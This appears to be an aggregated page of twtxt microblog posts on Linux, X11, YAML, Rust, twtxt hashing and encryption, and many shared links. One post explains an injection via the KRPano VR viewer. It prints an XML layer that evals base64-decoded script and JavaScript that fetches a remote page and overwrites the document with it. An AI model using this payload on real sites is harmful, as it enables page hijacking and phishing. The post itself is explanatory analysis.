apt
manpage of Ubuntu recently, which, for some reason, uses blue text in one place:
Ah, so apparently they don’t like writing manpages anymore and instead use XML:
https://salsa.debian.org/apt-team/apt/-/blob/main/doc/apt.8.xml
And then they use XSLT on top and what not:
https://salsa.debian.org/apt-team/apt/-/blob/main/doc/manpage-style.xsl.cmake.in
It’s not even explicitly blue:
https://salsa.debian.org/apt-team/apt/-/blob/main/doc/apt.ent?ref_type=heads#L17
Abstractions upon abstractions upon abstractions.
@movq@www.uninformativ.de According to this screenshot, KDE still shows good old application icons: https://upload.wikimedia.org/wikipedia/commons/9/94/KDE_Plasma_5.21_Breeze_Twilight_screenshot.png
And GNOME used to have them, too: https://upload.wikimedia.org/wikipedia/commons/9/9f/Gnome-2-22_%284%29.png
I like the looks of your window manager. That’s using Wayland, right? The only thing on this screenshot to critique is all that wasted space of the windows not making use of the full screen!!!1 At least the file browser. 8-)
This drives me nuts when my workmates share their screens. I really don’t get it how people can work like that. You can’t even read the whole line in the IDE or log viewer with all the expanded side bars. And then there’s 200 pixels on the left and another 300 pixels on the right where the desktop wallpaper shows. Gnaa! There’s the other extreme end when somebody shares their ultra wide screen and I just have a “regularish” 16:10 monitor and don’t see shit, because it’s resized way too tiny to fit my width. Good times. :-D
Sorry for going off on a tangent here. :-) Back to your WM: It has the right mix of being subtle and still similar to motif. Probably close to the older Windowses. My memory doesn’t serve me well, but I think they actually got it fairly good in my opinion. Your purple active window title looks killer. It just fits so well. This brown one (https://www.uninformativ.de/blog/postings/2025-07-22/0/leafpads.png) gives me also classic vibes. Awww. We ran some similar brownish color scheme (don’t recall its name) on Win95 or Win98 for some time on the family computer. I remember other people visting us not liking these colors. :-D
Here’s an example of X11/Xlib being old and archaic.
X11 knows the data type “cardinal”. For example, the window property _NET_WM_ICON
(which holds image data for icons) is an array of “cardinal”. I am already not really familiar with that word and I’m assuming that it comes from mathematics:
https://en.wikipedia.org/wiki/Cardinal_number
(It could also be a bird, but probably not: https://en.wikipedia.org/wiki/Cardinalidae)
We would probably call this an “integer” today.
EWMH says that icons are arrays of cardinals and that they’re 32-bit numbers:
https://specifications.freedesktop.org/wm-spec/latest-single/#id-1.6.13
So it’s something like 0x11223344
with 0x11
being the alpha channel, 0x22
is red, and so on.
You would assume that, when you retrieve such an array from the X11 server, you’d get an array of uint32_t
, right?
Nope.
Xlib is so old, they use char
for 8-bit stuff, short int
for 16-bit, and long int
for 32-bit:
That is congruent with the general C data types, so it does make sense:
https://en.wikipedia.org/wiki/C_data_types
Now the funny thing is, on modern x86_64
, the type long int
is actually 64 bits wide.
The result is that every pixel in a Pixmap, for example, is twice as large in memory as it would need to be. Just because Xlib uses long int
, because uint32_t
didn’t exist, yet.
And this is something that I wouldn’t know how to fix without breaking clients.
@lyse@lyse.isobeef.org @kat@yarn.girlonthemoon.xyz I spent so much time in the past figuring out if something is a dict or a list in YAML, for example.
What are the types in this example?
items:
- part_no: A4786
descrip: Water Bucket (Filled)
price: 1.47
quantity: 4
- part_no: E1628
descrip: High Heeled "Ruby" Slippers
size: 8
price: 133.7
quantity: 1
items
is a dict containing … a list of two other dicts? Right?
It is quite hard for me to grasp the structure of YAML docs. 😢
The big advantage of YAML (and JSON and TOML) is that it’s much easier to write code for those formats, than it is with XML. json.loads()
and you’re done.
@prologic@twtxt.net Yeah, this really could use a proper definition or a “manifest”. 😅 Many of these ideas are not very wide spread. And I haven’t come across similar projects in all these years.
Let’s take the farbfeld image format as an example again. I think this captures the “spirit” quite well, because this isn’t even about code.
This is the entire farbfeld spec:
farbfeld is a lossless image format which is easy to parse, pipe and compress. It has the following format:
╔════════╤═════════════════════════════════════════════════════════╗
║ Bytes │ Description ║
╠════════╪═════════════════════════════════════════════════════════╣
║ 8 │ "farbfeld" magic value ║
╟────────┼─────────────────────────────────────────────────────────╢
║ 4 │ 32-Bit BE unsigned integer (width) ║
╟────────┼─────────────────────────────────────────────────────────╢
║ 4 │ 32-Bit BE unsigned integer (height) ║
╟────────┼─────────────────────────────────────────────────────────╢
║ [2222] │ 4x16-Bit BE unsigned integers [RGBA] / pixel, row-major ║
╚════════╧═════════════════════════════════════════════════════════╝
The RGB-data should be sRGB for best interoperability and not alpha-premultiplied.
(Now, I don’t know if your screen reader can work with this. Let me know if it doesn’t.)
I think these are some of the properties worth mentioning:
- The spec is extremely short. You can read this in under a minute and fully understand it. That alone is gold.
- There are no “knobs”: It’s just a single version, it’s not like there’s also an 8-bit color depth version and one for 16-bit and one for extra large images and one that supports layers and so on. This makes it much easier to implement a fully compliant program.
- Despite being so simple, it’s useful. I’ve used it in various programs, like my window manager, my status bars, some toy programs like “tuxeyes” (an Xeyes variant), or Advent of Code.
- The format does not include compression because it doesn’t need to. Just use something like bzip2 to get file sizes similar to PNG.
- It doesn’t cover every use case under the sun, but it does cover the most important ones (imho). They have discussed using something other than RGBA and decided it’s not worth the trouble.
- They refrained from adding extra baggage like metadata. It would have needlessly complicated things.
Saw this on Mastodon:
https://racingbunny.com/@mookie/114718466149264471
18 rules of Software Engineering
- You will regret complexity when on-call
- Stop falling in love with your own code
- Everything is a trade-off. There’s no “best” 3. Every line of code you write is a liability 4. Document your decisions and designs
- Everyone hates code they didn’t write
- Don’t use unnecessary dependencies
- Coding standards prevent arguments
- Write meaningful commit messages
- Don’t ever stop learning new things
- Code reviews spread knowledge
- Always build for maintainability
- Ask for help when you’re stuck
- Fix root causes, not symptoms
- Software is never completed
- Estimates are not promises
- Ship early, iterate often
- Keep. It. Simple.
Solid list, even though 14 is up for debate in my opinion: Software can be completed. You have a use case / problem, you solve that problem, done. Your software is completed now. There might still be bugs and they should be fixed – but this doesn’t “add” to the program. Don’t use “software is never done” as an excuse to keep adding and adding stuff to your code.
fn sub(foo: &String) {
println!("We got this string: [{}]", foo);
}
fn main() {
// "Hello", 0x00, 0x00, "!"
let buf: [u8; 8] = [0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x00, 0x00, 0x21];
// Create a string from the byte array above, interpret as UTF-8, ignore decoding errors.
let lossy_unicode = String::from_utf8_lossy(&buf).to_string();
sub(&lossy_unicode);
}
Create a string from a byte array, but the result isn’t a string, it’s a cow 🐮, so you need another to_string()
to convert your “string” into a string.
- https://doc.rust-lang.org/std/string/struct.String.html#method.from_utf8_lossy
- https://doc.rust-lang.org/std/borrow/enum.Cow.html
I still have a lot to learn.
(into_owned()
instead of to_string()
also works and makes more sense to me, it’s just that the compiler suggested to_string()
first, which led to this funny example.)
Hmmm 🧐 Not what I thought was going on… No bug…
time="2025-06-14T15:24:25Z" level=info msg="updating feeds for 8 users"
time="2025-06-14T15:24:25Z" level=info msg="skipping 0 inactive users"
time="2025-06-14T15:24:25Z" level=info msg="skipping 0 subscribed feeds"
time="2025-06-14T15:24:25Z" level=info msg="updating 80 sources (stale feeds)"
One of the nicest things about Go is the language itself, comparing Go to other popular languages in terms of the complexity to learn to be proficient in:
- Go:
25
keywords (Stack Overflow); CSP-style concurrency (goroutines & channels)
- Python 2:
30
keywords (TutorialsPoint); GIL-bound threads & multiprocessing (Wikipedia)
- Python 3:
35
keywords (Initial Commit); GIL-bound threads,asyncio
& multiprocessing (Wikipedia, DEV Community)
- Java:
50
keywords (Stack Overflow); threads +java.util.concurrent
(Wikipedia)
- C++:
82
keywords (Stack Overflow);std::thread
, atomics & futures (en.cppreference.com)
- JavaScript:
38
keywords (Stack Overflow); single-threaded event loop &async/await
, Web Workers (Wikipedia)
- Ruby:
42
keywords (Stack Overflow); GIL-bound threads (MRI), fibers & processes (Wikipedia)
Buying a TV these days, means trying to avoid endless enshitification:
-Spyware and adware
-Shitty AI upscaling/ frame interpolation
-HW that breaks after 2 - 3 years
-One off OS, dead on arrival
-Android OS, that starts lagging after the third update
-8 buttons worth of ads, on your remote
You probably have to make some kind of a compromise. I thought that was buying from some other brand like Hyundai, but that one also felt into some of those categories and just broke, after less than 3 years of use. At this point I’ll probably go back to LG and hope their HW is still reliable and the rest manageable… It has AI bullshit and knowing LG, probably some spyware you have to try your best to get rid of, can buy a remote with “only” 2 ads on it, some web-based OS shared between all their TVs, that usually gets 4 - 5 years worth of updates and works decently enough afterwards.
At this point, I’ll probably settle for anything that doesn’t literally fall apart, not even 3 years in, like the Hyundai did.
Confession:
I’ve never found microblogging like twtxt or the Fediverse or any other “modern” social media to be truly fulfilling/satisfying.
The reason is that it is focused so much on people. You follow this or that person, everybody spends time making a nice profile page, the posts are all very “ego-centric”. Seriously, it feels like everybody is on an ego-trip all the time (this is much worse on the Fediverse, not so much here on twtxt).
I miss the days of topic-based forums/groups. A Linux forum here, a forum about programming there, another one about a certain game. Stuff like that. That was really great – and it didn’t even suffer from the need to federate.
Sadly, most of these forums are dead now. Especially the nerds spend a lot of time on the Fediverse now and have abandoned forums almost completely.
On Mastodon, you can follow hashtags, which somewhat emulates a topic-based experience. But it’s not that great and the protocol isn’t meant to be used that way (just read the snac2 docs on this issue). And the concept of “likes” has eliminated lots of the actual user interaction. ☹️
@bender@twtxt.net Great tits always makes for lovely nick names!
There are other tasks LLM(s) are far better suited for, which are also its downsides, and gawd so expensive and unrealistic to run yourself 🤦♂️ Do you know what one of these NVIDIA H100’s cost? 💲 That’s right! 🤣 > $50k USD 😱 And many of the models out there require 8 of these suckers 🤣 Each one consumes around ~400W of power each (not including the machine that houses them!)
I just noticed that my unread messages counter was off by quite a bit. It showed 8, but I only saw one unread message. Even after restarting my client, which recalculates the number of unread messages, it remained at eight. Weird. Looking in the database revealed that this is indeed correct.
Apparently, my query to build up the message tree must be incorrect. It somehow misses seven messages. They all are orphaned, maybe that’s a clue. However, generating missing root messages (and thereby including the replies) typically works just fine. Hmm.
@david@collantes.us If I run
printf '%s\n%s\n%s' 'https://aelaraji.com/twtxt.txt' '2025-04-16T22:49:11+00:00' "Am I tripping or `rsync` is actually THIS effing faster than `scp`!!? 🫨" | b2sum -l 256 | awk '{ print $1 }' | xxd -r -p | base32 | tr -d '=' | tr 'A-Z' 'a-z' | tail -c 8
I have xqfsv6a
. It is raw text
But… If I change de date to 2025-04-16T22:49:11Z
I have si4er3q
.
This 8 bit trip is really cool! https://www.youtube.com/watch?v=pCm1fKZGvl47
tt
reimplementation that I already followed with the old Python tt
. Previously, I just had a few feeds for testing purposes in my new config. While transfering, I "dropped" heaps of feeds that appeared to be inactive.
neat! my watcher is currently sitting at about 75 MB following over 1500 feeds. only about 200 are currently somewhat active.
-rw-r--r--. 1 xuu xuu 69M Mar 25 20:46 twt.db
-rw-r--r--. 1 xuu xuu 32K Mar 25 21:34 twt.db-shm
-rw-r--r--. 1 xuu xuu 5.6M Mar 25 21:34 twt.db-wal
sqlite> select state, count(*) n from feeds group by 1;
hot|7
warm|8
cold|183
frozen|743
permanantly-dead|857
tt
reimplementation that I already followed with the old Python tt
. Previously, I just had a few feeds for testing purposes in my new config. While transfering, I "dropped" heaps of feeds that appeared to be inactive.
Thanks, @movq@www.uninformativ.de!
My backing SQLite database with indices is 8.7 MiB in size right now.
The twtxt
cache is 7.6 MiB, it uses Python’s pickle
module. And next to it there is a 16.0 MiB second database with all the read statuses for the old tt
. Wow, super inefficient, it shouldn’t contain anything else, it’s a giant, pickled {"$hash": {"read": True/False}, …}
. What the heck, why is it so big?! O_o
Ctrl+Left
to jump a word left, I get 1;5D
in my tt2 message text. My TERM
is set to rxvt-unicode-256color
. In tt
, it works just fine. When I change to TERM=xterm-256color
, it also works in tt2
. I have to read up on that. Maybe even try to capture these sequences and rewrite them.
@movq@www.uninformativ.de Hahaha, that name is certainly fitting! :-D
Yeah, I should revert that and try to figure out which programs misbehaved. But that’s something for future Lyse. 8-) Right now, I just redefine TERM
in my Makefile when the USER
happens to be me.
Chapter 7:
Chapter 8:
Ich war auf der Ausstellung meines letztes Jahr verstorbenen BK-Lehrers. Er war ein ziemlich cooler Typ und guter Lehrer. Wenn ich mich recht erinnere, müsste ich ihn in der 7. und vermutlich auch 8. Klasse gehabt haben. Seine Schelme waren hier im Landkreis und vermutlich darüber hinaus weit bekannt.
Bilderrahmenglas in Verbindung mit vergleichsweise dunkler Beleuchtung gibt leider keine gute Kombination mit meiner Kamera ab. Vorab entschuldige ich mich bereits für die zu wünschen übrig lassende Qualität. Nichtsdestotrotz habe ich ein paar witzige Bilder abfotografiert. Obacht, kann mitunter anzüglichen Inhalt enthalten: https://lyse.isobeef.org/siegfried-wagner-farrenstall-2025-03-15/
looks good to me!
About alice’s hash, using SHA256, I get 96473b4f
or 96473B4F
for the last 8 characters. I’ll add it as an implementation example.
The idea of including it besides the follow URL is to avoid calculating it every time we load the file (assuming the client did that correctly), and helps to track replies across the file with a simple search.
Also, watching your example I’m thinking now that instead of {url=96473B4F,id=1}
which is ambiguous of which URL we are referring to, it could be something like:
{reply_to=[URL_HASH]_[TWT_ID]}
/ {reply_to=96473B4F_1}
That way, the ‘full twt ID’ could be 96473B4F_1
.
also @Andros, I see that if I open that URL on my browser, I see weird characters in the .txt
file:
description = ðŸ—
Perhaps your nginx server is missing a Content-Type: text/html; charset=utf-8
header?
https://serverfault.com/a/975289
In timeline
it looks OK however, I think it’s relying on
The file must be encoded with UTF-8
of the original spec:
https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html
@arne@uplegger.eu Here are the results of the german jury:
Known salt (B64): Tb9oj07UhwU= (8)
Known key (B64): MII0yj+MC0mHNx254Voar80bi9P7jmocs0+x+inaxBE=
Known iv (B64): l/PvkDjOKMFZe73KptrvWw== (16)
Shared Key (B64): ql8zvN03p6kroSwNrcKbxk4zSBQFkgQZEumvqVIDMAE=
** DECRYPT **
Encrypted Message: ...
Decoded Salt (B64): Tb9oj07UhwU= (8)
PBKDF2 KEY (B64): MII0yj+MC0mHNx254Voar80bi9P7jmocs0+x+inaxBE=
iv (B64): JanbU1jI30lb6yfjq/adjA== (16)
Decrypted Message:
😭
@eapl.me@eapl.me Here is what I’ve got so far: https://github.com/upputter/testing-twtxt-dm
There is a “00_well_known_message.enc” file, which I have the encryption paremters for (https://github.com/upputter/testing-twtxt-dm/blob/9fdf3be6aa8fe810a4cb275375dbb3d4a2a958ee/wellknown_test.php#L28).
According to my finding, I assume, that the saltsize
in openssl is “8” and the PBKDF2
algo is “sha256”.
Amazing! My response: https://git.mills.io/yarnsocial/twtxt.dev/pulls/8#issuecomment-18500
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml
parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
Platz 8 von 16 beim MusikQuiz im Exil. Wir waren der Tisch mit dem meisten Spaß!
Hey! I tried running Timeline on my server with the default PHP version (8.3) and it’s giving me a few errors https://eapl.me/timeline/ I should be sending a PR soon to fix it ;)
Hey @aelaraji@aelaraji.com I’m running PHP 8.2 on my server
I need to wait 30 seconds every start of mutt with 8 feeds
More thoughts about changes to twtxt (as if we haven’t had enough thoughts):
- There are lots of great ideas here! Is there a benefit to putting them all into one document? Seems to me this could more easily be a bunch of separate efforts that can progress at their own pace:
1a. Better and longer hashes.
1b. New possibly-controversial ideas like edit: and delete: and location-based references as an alternative to hashes.
1c. Best practices, e.g. Content-Type: text/plain; charset=utf-8
1d. Stuff already described at dev.twtxt.net that doesn’t need any changes.
We won’t know what will and won’t work until we try them. So I’m inclined to think of this as a bunch of draft ideas. Maybe later when we’ve seen it play out it could make sense to define a group of recommended twtxt extensions and give them a name.
Another reason for 1 (above) is: I like the current situation where all you need to get started is these two short and simple documents:
https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html
https://twtxt.readthedocs.io/en/latest/user/discoverability.html
and everything else is an extension for anyone interested. (Deprecating non-UTC times seems reasonable to me, though.) Having a big long “twtxt v2” document seems less inviting to people looking for something simple. (@prologic@twtxt.net you mentioned an anonymous comment “you’ve ruined twtxt” and while I don’t completely agree with that commenter’s sentiment, I would feel like twtxt had lost something if it moved away from having a super-simple core.)All that being said, these are just my opinions, and I’m not doing the work of writing software or drafting proposals. Maybe I will at some point, but until then, if you’re actually implementing things, you’re in charge of what you decide to make, and I’m grateful for the work.
Interesting.. QUIC isn’t very quick over fast internet.
QUIC is expected to be a game-changer in improving web application performance. In this paper, we conduct a systematic examination of QUIC’s performance over high-speed networks. We find that over fast Internet, the UDP+QUIC+HTTP/3 stack suffers a data rate reduction of up to 45.2% compared to the TCP+TLS+HTTP/2 counterpart. Moreover, the performance gap between QUIC and HTTP/2 grows as the underlying bandwidth increases. We observe this issue on lightweight data transfer clients and major web browsers (Chrome, Edge, Firefox, Opera), on different hosts (desktop, mobile), and over diverse networks (wired broadband, cellular). It affects not only file transfers, but also various applications such as video streaming (up to 9.8% video bitrate reduction) and web browsing. Through rigorous packet trace analysis and kernel- and user-space profiling, we identify the root cause to be high receiver-side processing overhead, in particular, excessive data packets and QUIC’s user-space ACKs. We make concrete recommendations for mitigating the observed performance issues.
UDF is where its at. Not some silly red or blue book that cant even have more than 8+3 filenames!
Pronto, era a versão do PHP no server que era demasiado recente para o nextcloud. Só que era o 8.2 que é o que vem com o Debian Stable, e não há packages para downgrade. Felizmente uma alma santa mantém um repositório de versões PHP para Debian e Ubuntu, mandei-lhe 10 paus porque acabou de me salvar o mês
@movq@www.uninformativ.de So.. i eventually made it to the end on this one.. was able to reuse code from days 8 and 9!
SSBzdGlsbCBkbyBub3QgdW5kZXJzdGFuZCB3aHkgdXNpbmcgdGhlIHJhdGUgb2YgY2hhbmdlIGlu
IHRoZSBwdXNoZXMgZ2l2ZXMgbWUgdGhlIGFuc3dlci4uIGJ1dCB5ZWFoLi4K
So.. Of y’all that had covid. Did you have at the end a night where for no reason your brain amped up to 11 and can’t sleep at all? It happened to me last night and my FIL the night before.
I went to bed at 8 and woke up full on anxiety attack at 12 and could not calm my head until around 7 am. Today has sucked a lot.
It should be illegal for firealarms to sound a low battery after 10pm and before 8 am.
I believe the benefit/risk calculation is that a passphrase is more memorable to users then a random string of alnum + symbol. i can remember the 20-30 chars in a passphrase quicker and longer than a 8-10 random.
ultimately they hold nowhere near the benefit of passphrase + MFA
Anyone seen a pixel-addressed display (any tech; lcd, eink, oled, whatever) in the range of 8”x1”?
FOLLOW: @xuu@txt.sour.is from @watcher@txt.sour.is using yarnd/0.8.0@b2ce19a
FOLLOW: @watcher@txt.sour.is from @watcher@txt.sour.is using yarnd/0.8.0@cfe785d
FOLLOW: @default@txt.sour.is from @xuu@txt.sour.is using yarnd/0.8.0@cfe785d
FOLLOW: @xuu@txt.sour.is from @ullarah@txt.quisquiliae.com using yarnd/0.8.0@80999ab
@stackeffect@twtxt.stackeffect.de
now Apache also announces content-type: text/plain; charset=utf-8
Well, that fixed things. 🥳
An estimated 6.8 million fewer female births will be recorded across India by 2030 because of the persistent use of selective abortions, researchers estimate. — The Guardian
And from the same article:
India’s skewed ratio of men to women – currently between 900-930 females per 1,000 males – reflects India’s ingrained attitude towards girls. Boys are seen as breadwinners while girls are seen as a burden across every social class. Boys are more likely to receive more nutritious food and better medical care than girls.
That is just beyond sad.
@movq@www.uninformativ.de This is my env, on language:
LANGUAGE=en_US.UTF-8
LANG=en_US.UTF-8
LC_ALL=en_US.UTF-8
I had to explicitly set it on the cron job to make jenny work.
@quark@ferengi.one I mean, if LANG=en_US.UTF-8
were a problem, it wouldn’t run manually, right? Or is it that the variable isn’t defined under cron?
@lyse@lyse.isobeef.org Yes, I have LANG=en_US.UTF-8
on my system. So, it is not that it can’t find the config?
@movq@www.uninformativ.de I am getting this when I run it on cron (extra lines in between becuase otherwise jenny will make them a mash):
Traceback (most recent call last):
File “/home/quark/jenny/jenny”, line 565, in
if not retrieve_all(config):
File “/home/quark/jenny/jenny”, line 373, in retrieve_all
refresh_self(config)
File “/home/quark/jenny/jenny”, line 294, in refresh_self
process_feed(config, config[‘self_nick’], config[‘self_url’], content)
File “/home/quark/jenny/jenny”, line 280, in process_feed
fp.write(mail_body)
File “/usr/lib/python3.8/encodings/iso8859_15.py”, line 19, in encode
return codecs.charmap_encode(input,self.errors,encoding_table)[0]
UnicodeEncodeError: ‘charmap’ codec can’t encode character ‘\U0001f4e3’ in position 31: character maps to
I want to somehow use my monome grid to build out coarse vocal tract shapes for a physical model like !voc or @!(sndkitref “tract”)!@. 16 diameters with 8 steps of resolution, or 32 diameters with 4 steps of resolution. #halfbakedideas
Wochenspruch 8 / 2021 https://feg-ffb.de/?p=6916
Are you able to coax your webserver to add the charset to the content type header? Browsers are having a hard time thinking you are sending latin-1
content-type: text/plain; charset=utf-8
🧮 USERS:1 FEEDS:6 TWTS:223 BLOGS:1 ARCHIVED:23273 CACHE:9748 FOLLOWERS:8 FOLLOWING:31
🧮 USERS:1 FEEDS:6 TWTS:222 BLOGS:1 ARCHIVED:23273 CACHE:9683 FOLLOWERS:8 FOLLOWING:31
🧮 USERS:1 FEEDS:6 TWTS:221 BLOGS:1 ARCHIVED:23273 CACHE:9659 FOLLOWERS:8 FOLLOWING:31
🧮 USERS:1 FEEDS:6 TWTS:220 BLOGS:1 ARCHIVED:23273 CACHE:9636 FOLLOWERS:8 FOLLOWING:31
realtime lighting in pico8: [[https://medium.com/hackernoon/pico-8-lighting-part-1-thin-dark-line-8ea15d21fed7]] #links #graphics #pico8 #pixelart
typography in 8 bits: system fonts: [[https://damieng.com/blog/2011/02/20/typography-in-8-bits-system-fonts]] #links #typography #1bit #8bit #pixelart
Wochenspruch 8 / 2020 https://feg-ffb.de/?p=6050
Mob Psycho 100 - My Favourite Anime - YouTube https://www.youtube.com/watch?v=k-DyIWF0h-8
The government is using wrong data to make decisions about the internet - Recode https://www.recode.net/2019/2/8/18211794/government-data-internet
Best of 2013: The Man Who Invented Modern Probability - Issue 8: Home - Nautilus http://nautil.us/issue/8/Home/best-of-2013-the-man-who-invented-modern-probability
Fan fiction site AO3 is dealing with a free speech debate of its own - The Verge https://www.theverge.com/2018/11/8/18072622/fanfic-ao3-free-speech-censorship-fandom
Dataspace 8: Example: Movie data | Natepod http://natecull.org/wordpress/2017/07/11/dataspace-8-example-movie-data/
How to Teach Computer Ethics through Science Fiction | August 2018 | Communications of the ACM https://cacm.acm.org/magazines/2018/8/229765-how-to-teach-computer-ethics-through-science-fiction/fulltext
Generative Art Finds Its Prodigy “ Artnome https://www.artnome.com/news/2018/8/8/generative-art-finds-its-prodigy
The Ripper: The disturbing Visceral Games project that EA canceled - Polygon https://www.polygon.com/2018/8/24/17770668/jack-the-ripper-visceral-games-electronic-arts-canceled
Why Love Generative Art? “ Artnome https://www.artnome.com/news/2018/8/8/why-love-generative-art
What algorithmic art can teach us about artificial intelligence - The Verge https://www.theverge.com/2018/8/21/17761424/ai-algorithm-art-machine-vision-perception-tom-white-treachery-imagenet
Serial Box creates books for the age of Peak TV - Vox https://www.vox.com/culture/2018/8/6/16849756/serial-box-serialized-books-peak-tv
Modern horror films are finding their scares in dead phone batteries - The Verge https://www.theverge.com/2018/8/16/17675474/modern-horror-films-dead-cell-phone-trope-isolation
VLC logic: doubleclick toggles fullscreen but each single click in that double click still also toggles playback, so toggling fullscreen causes you play for 1/8 of a second
Dataspace 8: Example: Movie data | Natepod http://natecull.org/wordpress/2017/07/11/dataspace-8-example-movie-data/
Campus free speech problem: left-wingers being fired for their opinions - Vox https://www.vox.com/platform/amp/policy-and-politics/2018/8/3/17644180/political-correctness-free-speech-liberal-data-georgetown
The creation of Missile Command and the haunting of its creator, Dave Theurer | Polygon https://www.polygon.com/features/2013/8/15/4528228/missile-command-dave-theurer
“Making Impossible States Impossible” by Richard Feldman - YouTube https://www.youtube.com/watch?v=IcgmSRJHu_8
The alt-right is drunk on bad readings of Nietzsche. The Nazis were too. - Vox https://www.vox.com/2017/8/17/16140846/alt-right-nietzsche-richard-spencer-nazism
How Ken Layne Created a Publishing Oasis in a Desert Town of 8,000 People - Pacific Standard https://psmag.com/news/ken-layne-desert-oracle
Extended Director’s Cut: Ted Nelson on Hypertext, Douglas Englebart, Xanadu and More - YouTube https://www.youtube.com/watch?v=i67rQdHuO-8
METAHEADCANON: Harmon’s Head - An 8 Circuit Model of Community http://www.metaheadcanon.com/2018/02/harmons-head-8-circuit-model-of.html
Meet the pirate queen making aca… https://www.theverge.com/2018/2/8/16985666/alexandra-elbakyan-sci-hub-open-access-science-papers-lawsuit
Why the Culture Wins: An Appreciation of Iain M. Banks … http://sciphijournal.org/why-the-culture-wins-an-appreciation-of-iain-m-banks/
William Gibson: The Gernsback Continuum - Semiotic Ghosts - #8 - YouTube https://www.youtube.com/watch?v=dWjhxhMI-Qo
How The Ancient Magus Bride Makes Magic Feel Real - YouTube https://www.youtube.com/watch?v=yJLvf1-3s_8
WikiLeaks - Vault 8 https://wikileaks.org/vault8/
Meet the scientists building a library of designer drugs - The Verge https://www.theverge.com/2017/11/8/16619142/designer-drugs-k2-spice-synthetic-weed-ucsf-lab-dea
Welcome to AirSpace | The Verge https://www.theverge.com/2016/8/3/12325104/airbnb-aesthetic-global-minimalism-startup-gentrification
The Power Of VHS | SCANLINE - YouTube https://www.youtube.com/watch?v=xbZMqS-fW-8
Fri Sep 8 09:07:23 EDT 2017 Fri Sep 8 09:07:23 EDT 2017
How the Summer of Love helped give birth to the Religious Right - Vox https://www.vox.com/the-big-idea/2017/8/31/16229320/summer-of-love-jesus-people-religious-right-history
The Blood of Moles — Dr. Alexander Cummins https://alexander-cummins.squarespace.com/blog/2017/8/8/the-blood-of-moles
How Silicon Valley’s past predicts its future: an interview with Ellen Ullman - The Verge https://www.theverge.com/2017/8/29/16215836/ellen-ullman-life-in-code-interview-technology-ai
The Problems With Internet Platforms Policing Hate - The Ringer https://www.theringer.com/tech/2017/8/22/16180026/charlottesville-politics-hate-speech-internet?utm_source=digg&utm_medium=email
8 Lessons from 20 Years of Hype Cycles https://www.linkedin.com/pulse/8-lessons-from-20-years-hype-cycles-michael-mullany
I‘m a woman in computer science. Let me ladysplain the Google memo to you. - Vox https://www.vox.com/the-big-idea/2017/8/11/16130452/google-memo-women-tech-biology-sexism
Virtue signalling — Remains of the Day http://www.eugenewei.com/blog/2017/8/13/virtue-signalling?curator=MediaREDEF
Inside Patreon, the economic engine of internet culture - The Verge https://www.theverge.com/2017/8/3/16084248/patreon-profile-jack-conte-crowdfunding-art-politics-culture
Magic 8-Ball - Wikipedia https://en.wikipedia.org/wiki/Magic_8-Ball